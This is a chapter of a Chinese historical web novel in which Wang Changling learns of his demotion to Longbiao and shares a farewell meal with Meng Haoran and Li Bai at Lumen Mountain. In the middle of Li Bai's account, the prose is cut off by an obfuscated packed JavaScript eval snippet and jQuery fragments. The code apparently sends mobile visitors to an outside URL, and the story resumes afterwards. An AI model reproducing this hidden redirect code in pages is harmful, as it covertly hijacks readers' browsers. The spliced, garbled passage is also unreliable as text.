61.仗剑行千里

作品:《诗牌盛唐I:长安热搜榜

    露水洗过的清晨,干净透亮。


    没有车马喧阗,没有市井吆喝,只有远处溪流潺潺的微响,近处鸟雀在枝头梳理羽毛的悉索。阳光尚未炽烈,透过稀疏的云层和层层叠叠的树叶,洒下斑驳柔和的光影。空气里弥漫着草木苏醒后特有的微腥。


    王昌龄就是在这样的静谧中醒来的。


    他睡得并不算沉,但较之在洮州时夜夜惊悸,在旅途中颠簸难眠,已算得上是难得的安宁。


    披衣起身,那沁入肺腑的清凉,涤荡开了些许胸中的滞重郁结,他脸上不自觉露出一丝舒缓的纯然笑容。


    然而这笑容就像晨间草叶上的露珠,太阳稍一露脸,便迅速消失了。


    他转身,目光落在昨夜搁在枕边的诗牌上。


    昨夜入睡前,诗牌传来轻微的震动。并非友人问候,而是一封格式严谨的官方文书。朝廷旨意已下:着江宁丞王昌龄,即刻赴任龙标县尉。


    并非升迁,并非平调,而是贬谪,理由是“不护细行”。


    “不护细行……”他几乎要冷笑出声。何等轻巧又恶毒的罪名!无非是说他行为不够谨慎周密,有失检点。放在平日,或可一笑置之,但在此刻,紧随洮州剧变之后,这理由让他恨得咬牙切齿却又无可辩驳。


    他是如何“不护细行”,以致让学生身陷险境,自身也卷入边塞烽烟?纵然他自问批假流程并无逾越,带学生北上也非私逃,更将学生们一个不少、囫囵个儿地带了回来。可这些,在“不护细行”这顶大帽子下,在那些只需轻描淡写、甚至无需证据的“风闻”与“议论”面前,显得如此苍白无力。


    是谁的手笔?几乎不需要多想。左不过是那些宵小,长安的,江宁的,借着他此番洮州之行的波折,在背后推波助澜,落井下石罢了。用“细行”这一个万能的箩筐,什么罪名都往里装,什么污水都泼上来,好将他打发得远远的,眼不见为净。


    龙标……那是何等偏远荒凉之地,他岂能不知?此一去,山高水远,归期渺茫。


    心中郁愤翻腾,但他面上已恢复了惯有的沉静。多年的宦海浮沉,早已教会他如何将惊涛骇浪压在平静的水面之下。


    他默然站了一会儿,将那诗牌收入怀中,然后仔细地穿戴整齐,走出暂居的厢房。


    院中,孟浩然正挽着袖子,在一小片竹林边弯腰忙碌着。他手持一柄短锄,刨开湿润的泥土,露出底下白玉般鲜嫩的笋尖。动作熟练,神情专注,仿佛天地间唯此一笋。晨光落在他沾了泥点的布衣上,平添几分乡野神韵。


    “少伯,醒了?正好,过来搭把手!”孟浩然听见脚步声,抬起头,脸上露出明朗的笑容,招呼他,“你看这笋,昨夜一场雨,噌噌地冒头,最是鲜甜不过。午间让阿松炖个火腿笋汤,保管太白那馋虫鼻子又要动了。”


    王昌龄走了过去,蹲下身,帮着孟浩然将刨出的嫩笋一根根捡起,小心地放进旁边的竹篓里。那笋鲜灵灵的,还带着湿泥,嫩得能掐出水来。


    “浩然兄……”他试探着唤了一声,斟酌许久才说出下文:“我……恐怕要向你辞行了。”


    “什么?”孟浩然正要将一株胖墩墩的笋放进篓子,闻言动作一顿,以为自己听错了。但看王昌龄面色沉重,不是玩笑。


    “这才住了几日?山中的茶你还没尝遍,酒也没喝够,我还有许多陈年旧事想与你说道。那些孩子我看着也欢喜,正想着这几日带他们去后山认认草药……怎么说走就要走?”


    他的不解与挽留是真诚的。这几日,他看着王昌龄眉宇间的沉郁在山水间似乎化开了一些,看着李白偶尔也能对着流云出神,不再总是紧锁眉头。他满心以为,这鹿门山的宁静,能多挽留他们一些时日。


    王昌龄避开他灼灼的目光,视线落在竹篓里那几株鲜嫩的春笋上,缓缓道:“朝廷有旨,命我即刻赴龙标县尉任。催得急。”


    “龙标?”孟浩然的眉头蹙了起来。他虽隐居,但对天下州郡并非一无所知。那是黔中道极偏远的羁縻之地,山深林密,烟瘴丛生,历来是贬谪官员的蛮荒之所。


    他的笑容消失了,取而代之的是一种深切的同情。


    他虽不知江宁府衙内的光景,却知那些欲加之罪的戏码,从长安到荆州,再到江宁,大同小异。


    沉默在两人之间弥漫了片刻,只有山风拂过竹叶的轻响。


    孟浩然将短锄靠在一边,拍了拍手上的泥土,叹了口气:“宦海风波,向来如此。只是……苦了你了,少伯。”


    他没有追问具体缘由,也没有愤慨激昂地抨击朝政,只是伸出手,用力握了握王昌龄的手臂。


    “既如此,身不由己,也只能前行。只是你这一路南下,道阻且长,定要珍重。”


    他直起身,环顾了一下自己的草堂院落,脸上重新浮起温暖的笑意,以期冲淡离别的惆怅:“今日晌午,咱们好好置办一桌,权当为你饯行。我把去年埋下的那坛松醪酒起了,再让阿松去溪里摸两条肥鳜鱼。虽比不得长安盛宴,总算是我们鹿门山的一片心意,风风光光送你一程。”


    王昌龄心中涌起一股暖流,夹杂着酸楚。他点点头:“多谢浩然兄盛情。只是……”


    他抬眼看了看:“太白呢?还未见他起身。”


    提到李白,孟浩然脸上的神色柔和了些许,忍俊不禁道:“他呀,天刚蒙蒙亮就溜出去了。说是昨夜听隔壁樵夫说,山脚下那处私塾里的孩童,背书声音清脆得像黄鹂鸟。早饭都没好生用,揣了几个炊饼就溜达下去了。”


    他摇摇头,笑容里满是对这位老友性情中那份纯真的了然:“他那人,最爱孩子,孩子也最爱缠他。我估摸着,此刻怕是正被那群小猴子围着,要么讲故事,要么教他们念诗呢,不到日头当空,怕是舍不得回来。”


    孟浩然说着,眼前已浮现出李白在那简陋学舍里神采飞扬的模样,或许袍袖上沾了孩童的墨迹,或许发间插着女娃送的山花。


    这位名扬四海的谪仙人,何尝不也是个孩子呢?


    想象着李白被孩童环绕,眉飞色舞的样子,王昌龄紧绷的心弦似乎也松了一松。他点了点头,目光望向山下的晨雾朦胧,轻声道:“如此也好。让他多松快片刻罢。”


    说完,他继续帮着孟浩然将竹篓里的春笋码放得整整齐齐。


    晌午时分,草堂里幽幽传出饭菜的香气和着柴火气。


    孟浩然在厨房与堂屋间穿梭,阿松跟在他身后忙得脚不沾地。王昌龄将裴五、姚二十六等几个学生叫到院角的竹荫下,低声叮嘱着行程安排与路上注意事项。孩子们听着,脸上的惊疑逐渐变为不舍、怅然,有的眼圈已然红了。


    忽然,一阵清朗的笑声由远及近,如春风撞开了竹扉。


    李白迈着轻快的步子跨进门,头上竟戴着一个略显粗糙却编得极用心的野花花环,紫的白的黄的,星星点点,衬得他眉目越发疏朗明亮。


    “浩然兄!阿松!你们猜今日我遇着什么趣事了?”他一边扬声说着,一边很自然地走到桌边,一撩袍袖坐了下来。


    孟浩然闻声,从厨房探出半个身子,手里还端着个洗菜的陶盆,挽起的袖口沾着水渍。他看着李白头上那顶花环,忍不住笑了:“哟,这是哪座仙山的山神下凡,还是被哪家小仙子给缠上了?什么事笑得这般开怀?”


    李白也不答,只神秘兮兮地一抖另一边宽大的袖袍。只听“噼里啪啦”一阵轻响,桌上顿时多了一小堆物什。有光滑圆润的鹅卵石,有编得惟妙惟肖的草蚱蜢,有褪了色的漂亮羽毛,甚至还有两颗用红绳串着的野山果。


    “瞧瞧!都是山下学堂里那些小娃娃塞给我的。”李白指着那堆小玩意,眉眼间是毫不掩饰的得意与欢喜。


    他拿起那颗最圆的鹅卵石,在掌心掂了掂:“这个,是那个总流鼻涕的小胖子给的,说是在溪边摸了半天才找到最圆的一颗,送给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881561|182407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我‘压纸’。”


    他又拈起那只草蚱蜢:“这个嘛,是坐在窗边的小丫头悄悄塞我手里的,手巧得很。”


    “最有意思的是,有个虎头虎脑的小子,扯着我的袖子。你猜他问我什么?”他话头一转,眼睛更亮了,把问题抛了出来。


    孟浩然当然不知:“如何?”


    “他仰着脸很认真地问我:‘李先生,他们都管你叫谪仙人,那你是不是原来住在月亮上?那上头冷不冷?有桂花树,有没有兔子?’”


    他学着那孩子的腔调,连孟浩然也听得放下陶盆,倚在门边笑起来。


    “还有个更绝的!”李白越说越兴起,“另一个机灵鬼凑过来,眨巴着眼睛说:‘李先生,要是我能把月亮摘下来送给你,你能不能也教我怎么写‘飞流直下三千尺’那样的诗?’你们说,这些小脑袋瓜里,整天都想些什么?”


    他抬手碰了碰头上的花环,语气不自觉地放柔了些:“这花环,是坐在最后排的那个小女娃编的。她一直不敢上前,等我要走的时候,她的小伙伴推了她一把,她才红着脸跑过来,塞到我手里就跑。那孩子,怯生生的,可一双眼睛,又大又亮,跟山里的小鹿似的。”


    孟浩然一边听着一边不住点头,手上的活计也没停下。看着灶间忙活的情景,李白也坐不住了,起身过来搭手,很自然地接过阿松手里盛好菜的盘子,边往桌上端边继续说:“哦,对了,我还发现一桩稀奇事。”


    他放好盘子,用下巴指了指山下的方向:“那学堂的墙上,挂着好几幅字。我起初只当是寻常激励学童的格言,没在意。后来仔细一瞧,你道写的都是什么?”


    孟浩然正在舀汤,闻言手上微顿,抬眼看他。


    “写的竟都是你的《春晓》!”李白笑道,“笔迹各不相同,有的苍劲老辣,有的略显稚嫩,但无一例外,都是‘春眠不觉晓’。浩然兄,你这首诗,怕是成了那学堂的镇堂之宝了?”


    孟浩然笑了笑,还没开口,旁边的阿松已经一边摆筷子一边接话了:“李公子不知道,那学堂啊,是咱们先生以‘襄阳诗社’的名义,筹了善款盖的!不独这一处,咱们襄阳地界,这样的学堂有好几处呢!束脩收得极少,但凡家境贫寒又愿读书的娃娃,都能去。”


    “就你嘴快。”孟浩然笑着嗔了阿松一句,将最后一道火腿笋汤端上桌,用布巾擦了擦手,语气平和地说道,“其实也没什么。我孟浩然读了半辈子圣贤书,到头来,连个像样的前程也没换来,倒是因为几首诗,侥幸博了些虚名。当年靠着曲江公和摩诘的帮衬,立了这‘襄阳诗社’,起初也就是同好之间唱和往来。”


    他在桌案旁坐下,揉了揉酸胀的腰:“后来人气旺了,社里也有了‘同襟期’的进项。摩诘替我寻了位稳妥的副社打理账目,那些黄白之物,种下去了也长不出什么。我便想着,与其闲置,不如拿来做些实在事。山野乡间,多少聪慧孩子困于贫瘠,无缘笔墨。让他们也能开蒙识字,晓得些道理,总比跟着我们这些老头子空谈风月要强。”


    恰在此时,王昌龄交代完学生,走进堂屋。孟浩然见他进来,顺势道:“办学堂这事,我实是一窍不通。当年还是写信请教了少伯,参照江宁学堂的章程,才在襄阳慢慢办了几处。我自个儿,日出而作,日入而息,闲云野鹤惯了。可办学堂,却是桩严谨事,不能误人子弟,便请了几位德高望重的老先生去坐馆。”


    王昌龄闻言,揉了揉眉心:“浩然兄此言甚是。办学堂,尤其是开蒙之学,最是耗神费力。不仅要传授知识,更需懂得与孩童相处,引导其心性。我当初也是深感其中不易,后来多赖几位严师持守,学堂总算有模有样。”


    他走到桌边,很自然地接过孟浩然手中的酒坛,玩笑道:“幸好浩然兄未曾亲力亲为去坐馆,否则,只怕比面对千军万马还要头疼几分。”


    孟浩然哈哈一笑,招呼二人:“来来,都坐下,菜要凉了。”